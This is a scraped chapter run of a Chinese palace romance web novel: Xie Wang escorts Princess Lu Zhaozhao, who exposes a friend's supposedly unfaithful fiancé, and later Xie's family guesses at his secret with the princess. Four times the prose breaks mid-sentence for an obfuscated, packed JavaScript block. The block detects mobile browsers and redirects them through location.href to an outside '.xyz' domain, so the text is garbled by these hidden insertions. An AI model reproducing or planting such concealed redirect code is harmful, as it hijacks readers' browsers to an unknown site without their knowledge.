宋恒看见她的脸,不由得失笑。原来她脸上不知怎么蹭上了锅底灰,沾在鼻尖上脸颊上,一块一块的,甚是滑稽。宋恒拿出帕子温柔擦拭,小敏有些不好意思,解释说:“我想给你做饭吃,不过不大熟练,这才弄脏了。” 宋恒摇摇头,眼中的笑意更深:“今日谢大人竟然破天荒地问起我与你的事,还同我道贺,祝我们百年好合。” 小敏惊讶得睁大眼睛:“你不是说这位谢大人一向不近人情,从不过问你们的私事么?怎的今日竟会问起这些?” 宋恒摇头不解:“不知道,我也觉得奇怪。或许是因为昭阳公主的事?我今日说到我们就像谢大人和昭阳公主那般的时候,谢大人表情都变了。” 小敏点头,恍然大悟:“原来如此,那看来先前那些传闻是真的咯,谢大人和昭阳公主当真也是一对儿啊。” 她露出欣喜的笑容,当即回屋中拿出纸笔,又有了创作的灵感。 先前有一回夫君回来,说起他的顶头上司谢大人出去相看,结果和昭阳公主吵了一架的事,她当时便觉得这二人定是一对冤家爱侣,之后便以此为蓝本创作了一番,而后寄给了一些说书人。这是她的爱好,偶尔写些故事给那些说书人供稿,赚些零花钱。 - 谢妄自房中出来时,瞥了眼隔壁,窥见一角,方才那位被称公主的,乃是明月公主陆皎月。她似乎与人约在雅间之中,谢妄匆匆一瞥,虽看得不真切,但还是认出了章安澜。 他微微蹙眉,明月公主与章安澜? 那夜明月公主大胆示爱的事谢妄还记得,便也没多想,只是行至下楼梯时,忽地想到陆朝朝。 她也喜欢章安澜。 但这些与自己无关。 谢妄按下所有思绪,提步下楼,出了茶楼大门,正欲上马车时,忽地听得一声熟悉的女子嗓音:“谢妄!” 他心微微一提,抬眸,看见小公主提着裙角朝自己跑来,形容匆忙。 这相遇实在猝不及防,谢妄有一瞬的怔神。 就在这晃神之际,小公主已然大步跨上他的马车,挤进车厢里。除了陆朝朝,还有她的好友傅宝嘉。 二人在他对面坐下,只吩咐千山:“你你你,看见前边那两个人了吗?跟着他们!” 千山面露为难,看向谢妄,等待吩咐。 谢妄颔首,他这才驾车。 陆朝朝跑得气喘吁吁,一边给自己扇风一边和他解释:“太好了,我们的马车不知怎么出了些故障,又急着追人。还好看到你了。” 谢妄哦了声,而后沉默。 他为何要答应她们?罢了。 谢妄没看陆朝朝,只闭目养神。 陆朝朝看了眼他这样,心道最好别说话,她就当他不存在,只和身边的傅宝嘉说话。 “你放心,宝嘉,他要真敢对不起你,我杀了他!”陆朝朝咬了咬牙,显然甚是气愤。 并未听见傅宝嘉回答。 谢妄微微睁眼,见傅宝嘉垂着头,有些丧气,陆朝朝搂着她的肩,一脸愤怒。 察觉到谢妄的眼神,陆朝朝没好气地扫了他一眼。 谢妄没想到自己会被波及,再次移开视线。他纤长手指挑起帘栊一角,往陆朝朝方才说的那两个人方向看去,只能看见一男一女两道背影。 联系到她们方才说的话,谢妄猜测男人应当是傅宝嘉的未婚夫,本届的新科进士之一,薛仲霖。至于那女人,便不知身份了。 但显然眼前的一切和谢妄最不关心的爱恨纠葛有关系,他落了帘栊,再次沉默不语。 到目前为止,他遇见陆朝朝的心情还算平静,并没有太大的变化。十来天了,想必也已经差不多了。 马车慢慢往前行驶着,忽然陆朝朝叫了一声停,而后便拉着傅宝嘉下了马车。 谢妄看着她们二人背影,这种爱恨纠葛一般很难平和解决,极其引发一些暴力冲突,迟疑片刻,还是跟着下了马车。 薛仲霖与那女子进了一家客栈,陆朝朝拉着傅宝嘉跟了进去,并未让人察觉。 傅宝嘉隔着距离看向那对身影,心中忐忑不已,若是平日里她听闻这种事,自己是愤而拍桌的那一个,可真轮到自己,她又成了迟疑不定的那一个。当局者迷,旁观者清,果真如此。 傅宝嘉今日原与陆朝朝相约逛街,谁知晓半道上竟撞见薛仲霖和一女子私会,有说有笑,瞧着关系并不简单。那女子还投怀送抱,更惹人怀疑。 傅宝嘉说不清自己的感觉,若说她对薛仲霖的感情,有多深厚也不至于,她认识薛仲霖的时间短,两个人也没有感情基础,还是榜下捉婿才开始发展感情。这些日子,她对薛仲霖自然是喜欢的,只是若是他当真对不起自己,她不会继续与他成婚的。 傅宝嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062661|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是受那些世家规训长大的女子,什么三妻四妾三从四德,她们家不兴这些。她爹虽是个武将,舞刀弄枪的,厉害得很,但在家里还是得乖乖听她娘的话。她爹只娶了她娘一个人,她自幼便觉得她以后的夫君也只能娶自己一个人,她的眼睛里可容不得沙子。只是心里想得再洒脱,可想到那种局面难免还是伤心不已。 只见薛仲霖与那女子对坐桌边,那女子姿态楚楚可怜,开口说话:“薛大哥,你果真考中了,我就知道你一定能考中的。” 薛仲霖道:“多谢。” 还是克己守礼的。 那女子又道:“我听闻你已经与傅将军的女儿定下亲事,恭喜你了。那傅将军的女儿是不是很漂亮?” 提到傅宝嘉,薛仲霖脸上露出了些许羞涩的神情:“是,她……很漂亮。” 傅宝嘉听见这话,不由得咬唇失笑。 那女子道:“薛大哥,你我二人自幼相识,我是什么样的人你也清楚,是不是?我知道这些话我不该同你说,可是我也没办法了。薛大哥,我爹娘要将我嫁给一个六十多岁的老头子做填房,我不愿意,这才从家中逃了出来。 途中听闻你考中了功名,便想着来投奔你。你……你能不能让我做你的妾,你放心,我知道我比不上那位傅姑娘,我不会破坏你和傅姑娘的感情,只要能待在你身边就好了。其实我喜欢你很久了,先前从来未与你说过,一来我怕耽误你考功名,二来怕我爹娘知晓,为难你。” 那女子说着,竟抹眼泪。 薛仲霖显然有些无措,安慰道:“钱姑娘,你莫要太过伤心,此事或许还有商量的余地。” 那女子惊喜道:“所以,薛大哥你答应了是么?” 傅宝嘉与陆朝朝二人咬牙切齿,面露狠色,傅宝嘉道:“他若敢答应,我就不要他了!” 薛仲霖当即便摆手:“不不不,我不是这个意思。我不能答应你,我答应了傅姑娘,此生我绝不会负她,只娶她一人的。” 他说着,又羞赧一笑:“她是个极好的人,漂亮,体贴,真诚,善良……总之,我很喜欢她,能被她挑中为婿,我很开心。我既然已经允诺了她,便绝不可能违背誓言。所以钱姑娘,恕我实在不能答应你。至于你的困境,或许我可以替你说服伯父伯母。” 那女子显然有些失望,垂下头,不死心道:“若是傅姑娘介意,我愿意做外室……” 薛仲霖打断她:“不成,那更是万万不行了。” 那女子还想说:“薛大哥……可是我真的很喜欢你……” 傅宝嘉嘴角都快咧到太阳穴了,看来她的眼光还不错,挑中的男人还行。傅宝嘉清了清嗓子,走近到薛仲霖身侧,打断了那女子说话:“你干嘛老想着做他的小妾?他都说了他心里只有一个人了。” 薛仲霖没想到傅宝嘉竟在这里,惊得站起身来,肉眼可见地变得有些局促:“宝嘉……你……你怎的在此?” 他话音未落,脸已经红了起来。 陆朝朝看着,想到傅宝嘉说过的话,不由得挑眉。 傅宝嘉看向那女子说:“行了,我帮你解决这件事,你走吧。你还年轻,长得虽然没我漂亮,但也不错,老想着做小妾有什么好的,真是,丈夫怎能与旁人分享。” 那女子没想到会有这么一出,看了眼傅宝嘉,脸臊得通红,硬着头皮道了声谢,便跑了出去。 傅宝嘉咳嗽了声,伸手牵住薛仲霖,“你今天表现得不错,继续保持。” 薛仲霖脸更红了,胡乱点头,跟着傅宝嘉走了。 陆朝朝看着他们的身影,也面露欣喜。 该死的小情侣,真甜啊! 她有点羡慕了。 方才想罢,身后忽地传来一句:“人心易变。” 陆朝朝回头,对上谢妄的脸。 她皱眉:“你怎么也跟来了?” 意思是,他就是个工具,用完了就扔?谢妄凝眉,亏他还好心跟过来,怕她们出事。 18.第十八章 陆朝朝撇嘴,嫌弃地看他一眼:“谢妄,你知道自己嘴巴很贱吗?。” 她是说他说的那句“人心易变”,在此时此刻听起来真的很煞风景。 谢妄说:“不知道。我只是在实话实说。” 他虽然对这些情情爱爱的事情没有兴趣,但却看过不少人心,人心易变这话一点不假,就譬如说官场之中那么多的官员入仕时怀抱着一腔热血,但多年浸淫下来,早就面目全非。这道理放在情爱之中也是一样。 陆朝朝蹙起好看的眉头,眼神上上下下将谢妄打量了好几遍,还是很不解:“你真的是谢阁老和谢夫人亲生的吗?你不会是捡来的吧?谢阁老与谢夫人,谢大公子与他夫人都是一生一世一双人,为何到你这里,你却想三妻四妾?你花心你风流就算了,你竟然还用你的想法去揣测别人。” 谢妄听她说完,眉头皱得更深,她可真会胡搅蛮缠,他几时说过这些话?他只是在陈述一个道理,是她自己歪曲了他的话,还给他扣上一堆莫名其妙的帽子。 他想三妻四妾?他花心?他风流? 谢妄周身气压冷下来,他几时想要三妻四妾?谢家有家训,除非香火不得延续,否则不许纳妾,故而他爹他兄长皆只有一位正妻,也因此谢家虽是百年大族,人丁却不如旁的家族那般兴旺。 他花心?他风流?他长到如今,对情爱之事压根毫无兴致,更不曾与哪个女子有过情感纠葛,不知道陆朝朝到底怎么说得出这种话的。 他冷声道了一句:“胡搅蛮缠。” 陆朝朝本就被他那句话弄得不开心,听他说自己胡搅蛮缠就更不高兴了:“我胡搅蛮缠?你还冷血无情呢!你这个大猪头!” 她到底是天家公主,能想得到骂人的词汇最狠也就只有这个。 陆朝朝觉得不解气,想到自己从来也说不过谢妄,更生气了。她恶狠狠地瞪了他一眼,一脚踩在他脚背上,而后拎着裙摆扬长而去。 谢妄没想到她会动脚,并未来得及闪躲,硬生生被她踩了一脚,虽然她的力气并不算大,谢妄还是面色铁青。他看着她的背影消失在客栈外,觉得自己今日就不该发这善心。 谢妄脸色难看,走到客栈门口时,那赤色裙摆去而复返。 陆朝朝停在谢妄面前,还是气鼓鼓的模样:“我马车坏了,你得送我回宫。” 分明是有求于他,可语气却很理直气壮。 谢妄还未开口,陆朝朝已经自己登上马车,不给他拒绝的机会。帘栊上的穗子被她甩得摇晃不停,谢妄盯着那穗子许久,终是俯身挑开帘栊,进了马车。 陆朝朝看他进来,立刻别过脸,毫不掩饰自己的情绪。 谢妄在她对面坐下,也不说话。 他也很生气,谢谢。 陆朝朝抱住自己胳膊,忍不住看了谢妄一眼,又看了他一眼,他好像很若无其事的样子。人怎么能这么冷漠,再怎么样,她也是个姑娘家,她都表现得这么生气了,他不该做些什么哄哄自己吗?就算这一切和他无关,他也应该有风度地哄哄自己,更别说这一切还是他做错了事,他怎么能这么若无其事的? 陆朝朝又剜他一眼,把头扭得更开了。 没过一会儿,她还是忍不住率先开口:“谢妄,你不觉得你应该和我道歉吗?” 谢妄压低眉头,一副天方夜谭的神情:“我并未做错什么,为何要道歉。若说起来,殿下莫名其妙踩我一脚,殿下应当向我道歉。” 陆朝朝被他气得没话说了,好好好,她就不该对这个人有任何期待。 他就是个超级大猪头! “你是不是想气死我?”陆朝朝嘴巴翘得能挂两支狼毫笔,“你记不记得你自己说过什么?你答应过要听我的,不能反驳我,不能阴阳怪气我的。” “向我道歉,立刻。” 谢妄深吸一口气,他是说过这话没错。 他憋了许久,终于憋出一句:“抱歉,殿下。” 陆朝朝气终于顺了一些,不依不饶:“还有呢?” “臣错了。”冷梆梆的一句,毫无诚意。 陆朝朝努努嘴,继续得寸进尺:“既然你错了,你还违背你自己许下的诺言,那你是不是得做点什么补偿我?” 谢妄抬眸看她,心里有种不好的预感,眉头皱作一团。 果不其然,听见她下一句话是:“这样吧,你扮个猪头给我看看。” 谢妄毫不犹豫地拒绝:“臣不会。” 陆朝朝却没打算放过他,直接出手捏住他鼻子,将他鼻子往上拔,另一只手捏住他嘴角。她的动作太过突然,谢妄猝不及防,只感觉到脸上传来温热柔软的触觉,在她抬手时衣袖扑来了些微的幽香,很轻微,但是依然被他捕捉到了。 谢妄身形一僵,微微睁大眸子,目光定在她脸上。 陆朝朝笑容粲然,睫羽扇动着,黑亮的瞳仁莹润清明,肌肤白皙透亮,面颊又似乎透着些许粉色,再次让他想到了成熟的水蜜桃。她的五官精致,第一眼给人的感觉是明艳动人,但眼神又透着几分娇憨,中和了艳丽。 “就是这样,大猪头。”她的声音落入他耳畔,他适才有一瞬的失聪,只觉天地万物都静默。 谢妄往后退开一步,反应有些大,直直盯着陆朝朝。 陆朝朝以为他是在生气,不禁有些得意,还冲他歪头吐了吐舌头,一副“你不服来打我”的姿态。 谢妄迅速移开视线,胸膛剧烈起伏着。 不够,十天也不够,他有些挫败地想,几乎可以预料到今晚一定又会做一些荒唐的梦,和她有关系。 接下来的一路上,谢妄一直没有再说话,他的神色有些失魂落魄似的,陆朝朝看在眼里,只当他是挫败,也没多想。马车行至皇宫门口,陆朝朝起身,纤手打起帘栊,头也不回地下了马车。 谢妄的目光追随着她下了马车,一直到她的身影在宫城之内,他才失神地收回视线。 好一会儿,他才吩咐他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068281|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驾车离开。 马车刚调转方向,又有人匆匆而来,谢妄心猛地提了起来,以为蓝色的帘栊会再被那双纤纤玉手打开,露出那张美丽的面庞。 但并没有,帘栊始终垂在远处,只有婢女的嗓音从马车外传来:“谢大人,我们公主说,方才她走得急,在陈记胭脂铺的账还未结,托您帮忙走一趟,替她结个账。” 婢女将话带到,便走了。 谢妄垂下眼皮,心中的失落就像一场小雨的开端,只有一滴清凉落进脖颈,没有将他淋湿,但又真切无法忽视。 他往后放松身体,任由自己靠在车厢壁上,心里烦得厉害。 或许今日出门忘记看黄历,大抵写着不宜出门。 谢妄叫他们驾车回去陈记胭脂铺,陈记胭脂铺就在他先前待过的茶楼不远处,他让万山去结账。 万山去结账的时候,谢妄看见章安澜与陆皎月二人一前一后从茶楼中出来,不知二人说了些什么,陆皎月的脸色不算好看,至于章安澜,还是那副光风霁月的模样。 章安澜恭敬行礼:“殿下,臣告退。” 陆皎月看着他的背影,冷笑一声,这章安澜竟然拒绝自己。 她查过章安澜,知晓他身世凄惨,虽然如今光风霁月,可他幼时却过得并不好。他是章氏家主与青楼女子所生的私生子,五岁时才被认回章家,因他生母身份卑微,故而他在家中饱受欺凌,费了很大力气才有今日的位置。但即便如此,章氏家主也并未让章安澜做章家下任家主。陆皎月今日约他来,便是借此与他谈交易,只要他愿意娶自己,她便助他一臂之力。 在查到这些东西的时候,陆皎月很兴奋,这种环境里长大的人怎么可能真是一个光风霁月的君子?她还以为,章安澜该是一个与自己相似的人。 所以,她原本以为十拿九稳。 可章安澜竟然拒绝了。 若说原本陆皎月对章安澜的兴趣都源于陆朝朝,那么现在,她开始对章安澜这个人有点兴趣了。 - 不多时,万山回来复命:“公子,共三十两银子。”说罢,呈上一个锦盒。 “店家说,这是昭阳公主挑好的胭脂,只是方才匆匆而去,没来得及给她。” 谢妄接过锦盒,让万山下去了。 明日进宫时给她吧。 他正欲放下那锦盒,不知怎么,鬼使神差地打开。 锦盒里置着一个精巧小巧的胭脂盒,盒身雕着牡丹花,陈记胭脂铺在京城极有名气,不少世家贵女们都爱去那儿挑胭脂,故而它家包装也很精美,价格更是昂贵。谢妄打开胭脂盒,夺目的朱色铺陈在他眼前。 这颜色,当是唇脂。 谢妄脑子里浮现出陆朝朝的唇瓣,不自觉将这朱色在她唇瓣上填满,是很衬她的颜色。 正如谢妄所预料的那般,这日夜里,陆朝朝又入了他的梦,她挑中的新唇脂在在他梦里铺在她唇上,一张一合道:“缜之哥哥,你哄哄我嘛……” 19.第十六章 谢妄迟疑了数息,而后终是妥协道:“心肝儿,是我错了,你别跟我生气了,好吗?” 陆朝朝仍是一副气鼓鼓的样子,并不罢休:“你哄人怎么没有一点诚意?” 谢妄问:“那我的小心肝想要什么诚意啊?” 陆朝朝指了指自己脸颊,凑齐了些,撒娇道;“要你亲我一下。” 谢妄看向她白皙粉嫩的脸颊,而后俯身,在她脸颊上轻啄了下。 “这下可以了吗?” 梦境在这里戛然而止,谢妄睁开眼,对着满室的漆黑迟滞良久。 他刚才做了一个什么梦?什么乱七八糟的东西? 他绝不可能说出如此恶心人的言辞,而陆朝朝也绝不可能如此娇羞,他们俩更不可能有谢妄的相处场景。 简直到了惊骇的地步。 谢妄抬手置于眼皮之上,自胸中长吐出一口浊气,想让自己忘却这个惊骇的梦,只是梦中的场景实在太过刺激,让人印象深刻,他不仅忘不掉,在后半夜还时不时跳出来刺激他一下,每每跳出来一次,谢妄便觉得浑身不自在一次。 他绝不可能说那种话,绝不可能,所以那只是个梦,只是梦而已。 谢妄在心中默念这些数十遍,终于觉得心静了些。 这夜的睡眠到底被这场梦搅了个干净,翌日一早,谢妄准时起床,练剑习武,而后准备出门上朝。 千山与万山进来服侍时,都被谢妄的脸色吓了一大跳。 公子眼下一圈乌青,面容憔悴。 万山开口询问:“公子这是怎么了?昨夜莫非失眠了?” 谢妄心情极差,冷冷地瞥了眼万山。万山当即噤声,不再说任何,只是低头做事。 谢家父子三人平日里若无特别的事,会一起出门,谢妄这般模样,属实叫谢正霄和谢谦都有些惊讶。谢正霄道:“即便你勤于政务,也该注意自己的身体。” 谢妄道:“多谢父亲关心,儿子并非因政务失眠。” 谢正霄道:“那是为何?” 谢妄却闭目养神,不再说了。 谢正霄知晓他的脾性,也懒得再问。 唯有谢谦深深看了眼谢妄,在心里叹息。既然不是为了公事,那就只能是为了私事,看来是缜之发现自己被人欺骗了感情,情窦初开却受挫,这滋味的确难入眠。 谢谦拍了拍弟弟的肩,给了他一个安慰的眼神。至于别的话,不好当着父亲的面说,等今日归家再说吧。 谢妄看见了谢谦的眼神,但并不明白兄长为何要露出一个“没关系看开点”的眼神,他只是没睡好罢了。 今日早朝没什么大事,很快便结束了。早朝结束之后,谢妄回了一趟官署,整理了一些东西,而后进宫见崇光帝,向崇光帝汇报。 崇光帝看过他整理的东西,叹了声,神情有些复杂。 谢妄呈递的东西,是近来查明的一些事,与崇光帝的几位皇子相关。崇光帝子嗣不算多,膝下的皇子只有四位,其中大皇子是德妃所出,二二皇子是皇后嫡出,三皇子是丽嫔所生,四皇子是容贵人所生。 三皇子无心政事,一心只有游历山水,这些年时常在外,四皇子年幼,不过十岁,故而储君之争便在大皇子与二皇子之间。崇光帝至今尚未立储,如今眼看着他年纪越来越大,两位皇子的明争暗斗也越来越多,都暗地里拉拢朝臣,发展自己的势力。 崇光帝搁下手中的东西,忽地发问:“缜之,若依你看,你觉得谁更堪当大任?” 谢妄思忖片刻后道:“兹事体大,臣不敢妄议。只是臣以为,二殿下天资稍逊于大殿下。” 崇光帝蓦地笑了,这也是他看重谢妄的一个原因,有些事,只有谢妄会与他说真话。整个朝堂,他们都喜欢说一些圆滑的话,哪里都不会出错。这固然也有一定的道理,只是有时候,人也想要听些实话。 “你说得是,朕也的确该好好考虑此事了。你下去吧。”崇光帝道。 谢妄应声而退,待出了千福殿,才想起来自己今日还要将那盒唇脂给陆朝朝。他脚步一顿,在廊下站定,思忖着是该继续等等,还是托陛下转交。 还未思忖出结果,他要等的那人便出现了。 在千福殿见到谢妄并不稀奇,陆朝朝毫不意外,她只是还有点生他昨天的气,所以故意对他视而不见。 谢妄上前几步拦住她道:“殿下,这是昨日殿下忘记拿的东西。” 他将那锦盒递上,眼神瞥过她的脸,迅速移开。 昨夜的梦再次浮现眼前。 “要你亲我一下。”梦中少女的声音分明很模糊,在此刻却忽然变得清晰起来了。 烦。 谢妄也不管陆朝朝再说些什么,径直走了:“臣告退。” 他的脸色算不得好看,陆朝朝撇嘴,她气还没消呢,他倒好,还朝她生气起来了。 她打开锦盒,认出了这是自己昨日买下的唇脂,让风荷收起。 千福殿内,崇光帝看着廊下的二人,目露欣慰。 “林顺,你说,那是不是缜之在送昭阳东西?” 林顺点头:“回陛下,奴才瞧着也像。” 崇光帝摸了摸下巴:“前些日子,缜之还推说自己暂时无意成家,怎么这会儿又改了主意?” 林顺笑说:“年轻人么,总是心性不定些,也情有可原。” 崇光帝拍了拍大腿:“你说得对,这些小年轻啊,是心性不定,尤其是沾上这情之一字。朕当年又何尝不是呢?再说了,朕的昭阳如此好,改变心意喜欢她也是人之常情。” 崇光帝当即眉开眼笑,也不为立储之事烦扰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15074445|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 陆朝朝跨进殿门,就瞧见崇光帝笑眯眯的看着自己:“父皇今日心情甚好。” 崇光帝未置可否,只问:“缜之送了你什么?” 陆朝朝眉头一皱:“什么啊,那是我昨日与宝嘉逛街时买的唇脂,昨日我忘了拿,估计是店家看谢妄去付钱这才给他了。” 崇光帝有些尴尬,原来竟是自己会错了意,又捕捉到朝朝话语里的关键词:“他给你付钱?” 陆朝朝点头:“对啊,我昨日走得匆忙,忘了,就让他帮我付下钱嘛。父皇你可别乱点鸳鸯谱了。” 崇光帝叹气:“朝朝为何不喜欢他?” 陆朝朝开始细数谢妄的罪状:“他不解风情,不近人情。昨日他分明做错了事,我们吵架,我说我很生气,按理说他应当向我道歉对不对?可是他竟然一点表示都没有,还说自己没有错。方才我看见他,我气还没消呢,他还先气起来了。” “父皇,你说说,我怎么可能喜欢他?”她看了眼崇光帝,又拉住他胳膊撒娇,“再说了,谢妄他也不喜欢我啊,我们俩之间,根本不可能的。” 崇光帝道:“谁说的,朕的朝朝这么好,他怎么可能不喜欢?” 陆朝朝被他的话逗笑。 崇光帝又道:“那你上回说,你有喜欢的人,是谁?你告诉父皇,父皇也可以下旨为你赐婚。” 陆朝朝心中警铃大作,想到章安澜说过的自己有心上人的事,赶紧否认:“没有啦,我哪有什么喜欢的人,我当时的意思是说,我以后喜欢的人一定要比谢妄好千百倍才行。” 她怕父皇直接下旨赐婚,拆散了旁人的好姻缘。若是她开口,别说章安澜就是有心上人,他就是有妻子,父皇也会想办法让他娶自己的。她不想那样。 崇光帝叹了声,并未怀疑她的话,只是说:“朝朝,父皇老了,也不能护着你一辈子,日后你总得依仗你的夫君。” 陆朝朝撒娇说:“父皇才不老呢,父皇长命百岁,一直陪着朝朝。” - 那厢,谢妄从宫中回来后,谢谦便过来宽慰弟弟。 “缜之,你千万别太伤心,都是那女子不好,是她欺骗了你的感情。但是这世上还是有真情在的,你可千万别因此对爱情失去信心,你看看爹娘,再看看我与你大嫂,日后总会有那样一个人,与你长相厮守的。” 谢妄听着谢谦滔滔不绝一番话,眉头越皱越深,正欲开口,先被林娇打断:“什么伤心?你又惹昭阳公主生气了?你怎的在这事上如此愚笨,就学不会呢?” 谢谦听得这话,大惊失色:“昭阳公主?缜之,那位与你春风一度的不知名姑娘,竟是昭阳公主?” 林娇更是大惊失色:“什么春风一度?” 谢妄:“……” 现在更烦了。 20.第二十章 谢谦意识到自己说了什么时,懊恼地轻啧一声,歉然看向谢妄。他可答应过弟弟要替他保守这个秘密,不能让第三人知晓的,结果现在自己违背了诺言。 他也不知道自己方才为何竟会将这两件事联想到一处去,现下仔细想想,分明不是一件事,恐怕阿娘说的是以为缜之与昭阳公主有些什么的事。 谢谦又轻咳一声,试图将方才的事遮掩过去:“阿娘,你怎么在这儿?方才绵绵正闹着要找你玩呢。” 林娇方才已经全听见了,可不吃谢谦这套,抓着兄弟二人追问:“我等会儿便去陪绵绵玩,在此之前,你们得先告诉我,到底发生了什么事?” 林娇面色严肃了几分,不再是马虎的态度,若是她没听错,子敬方才的意思是说,缜之和一位姑娘春风一度了。而且似乎这姑娘还是昭阳公主。 这可是一件大事,她今日若是不弄清楚,绝不会善罢甘休。 谢妄已然烦到极致,反而呈现出一副心如止水的样子。 “就是你们猜测的那样,想来你们也清楚事情的严重性,明白此事绝不能再有第四个人知晓。” 林娇与谢谦二人对视一眼,俱从彼此眼神中看出了惊讶之色。 两人皆是点头:“我们自然明白。” 谢谦没想到自己误打误撞,竟还蒙出了正确答案,他神思有些游离,正在消化这件事。 缜之的确和一位姑娘一夜春风了,而那位姑娘的确不是仙人跳的骗子,而是昭阳公主。 若是昭阳公主,那一切都说得通了。昭阳公主的确不需要贪图缜之的任何,家世或是银钱,她已然是这事上最尊贵的女子之一了。 …… 那厢林娇思绪也正飞速地翻腾着。 缜之和昭阳公主春风一度过? 她就知道,缜之果然喜欢昭阳公主,不过他们俩发展得未免太快了些,怎么已经直接到这一步了。 都到这一步了,看来得尽快准备聘礼和成婚的事了,幸好她这几年都在预备着,应该不会太棘手。 再给她生两个孙子两个孙女就最好了。 …… 谢妄看着他们各自思索的模样,抬头望了眼,天空碧蓝如洗,真是个好天气。 林娇基本捋清了思绪后,想到自己马上就要有新的儿媳妇,眉开眼笑地提出一连串的问题。 “你和昭阳公主打算何时成婚?婚仪打算如何办?摆几桌宴?要宴请哪些宾客?” 谢妄继续面无表情,淡淡开口:“不成婚,不办,不摆,不宴请。” 林娇陡然提高音量:“你说什么?谢缜之啊谢缜之,我和你爹就是这么教你的吗?你祸害了人家姑娘的清白,你不想对人家姑娘负责?你这是君子所为吗?再说了,陛下若是知道,定会降罪于你,恐怕还会牵连到咱们谢家,你可知道?” 谢妄面色一沉:“是她不愿嫁我。她不喜欢我,她另有心仪之人。” 林娇一怔:“你……这……” 这话一出,二人看向谢妄的眼神都带了几分同情与怜悯。 谢妄及时补充:“我也不喜欢她,所以你们不要用这种眼神看着我。这件事只是一个意外。” 林娇和谢谦二人对视一眼,显然都对谢妄的说辞并不相信。 他们都是看着谢妄长大的,谢妄什么性格他们最清楚不过,如果不是出于爱情,他怎么可能会和姑娘家一夜春风?昭阳公主又不是仙人跳的骗子,不可能拿这种事算计他。 谢谦手按上他左肩:“无妨,这也没什么。” 林娇手按上他右肩:“我知道,这对你来说是有点难以接受,不过人生嘛,总是会有一些坎坷的。” 谢妄抖落他们的手,已经不想再说什么了,他真的不知道为什么,他们都以为自己喜欢陆朝朝呢? 可他真的不喜欢陆朝朝。 谢妄提步往前,留下一句:“我先回去了。” 谢妄回明心堂的一路上都在想这件事,他不喜欢陆朝朝,这是事实。 是吗? 他喜欢陆朝朝吗? 谢妄忽然在心里产生了一个疑问,难道他喜欢陆朝朝吗? 谢妄的第一反应是否定的答案,他喜欢一个人,他难道自己不清楚吗? 话虽如此,可谢妄忽然意识到,他好像确实也不是很清楚。因为他根本从来没有喜欢过一个女子,不知道何谓喜欢,又从何谈起喜不喜欢? 秉着严谨的原则,谢妄决定弄清楚这个文案,确认自己的确不喜欢陆朝朝。 谢妄去找了谢谦。 谢谦方才知晓了谢妄的真相,这会子还有些没消化过来,他在太师椅上坐下,阖眸养神。郑婉然见他如此,贴心地走近,替他按起太阳穴来。 “夫君可是遇到了什么棘手的公事?可否与我说说?” 谢谦握住郑婉然的手,叹了声,摇头。缜之的事不便告诉她。 “没什么大事,只是今日有些累了,休息会儿就好了。” 郑婉然莞尔一笑,反手握住谢谦的手:“那就好。” 谢绵绵从门外拿着玩具进来:“爹爹,阿娘,你们在干嘛呢?是不是又背着绵绵做羞羞的事啦?” 郑婉然摇头失笑,摸了摸谢绵绵的头。 谢妄从庭中走来时,看见的就是这一幕。他顿了顿,爹娘和兄嫂都是夫妻和睦恩爱的典型,所以他虽没喜欢过谁,但想象中自己日后的家庭也该是如此。 他和陆朝朝? 谢妄摇摇头,他代入不了他们俩有这样和谐的一幕,他们俩之间只有鸡飞狗跳还差不多。 谢谦余光看见谢妄身影,起身走出来,问道:“缜之,怎么了?” 谢妄道:“我有一些问题,想请兄长解惑。” 谢谦点头:“你说便是。” 谢妄道:“兄长,何谓喜欢一个人?” 谢谦没想到他会问这个问题,有些惊讶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15081604|162428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但想到他才受了情伤,有些伤春悲秋的感慨也是寻常事。 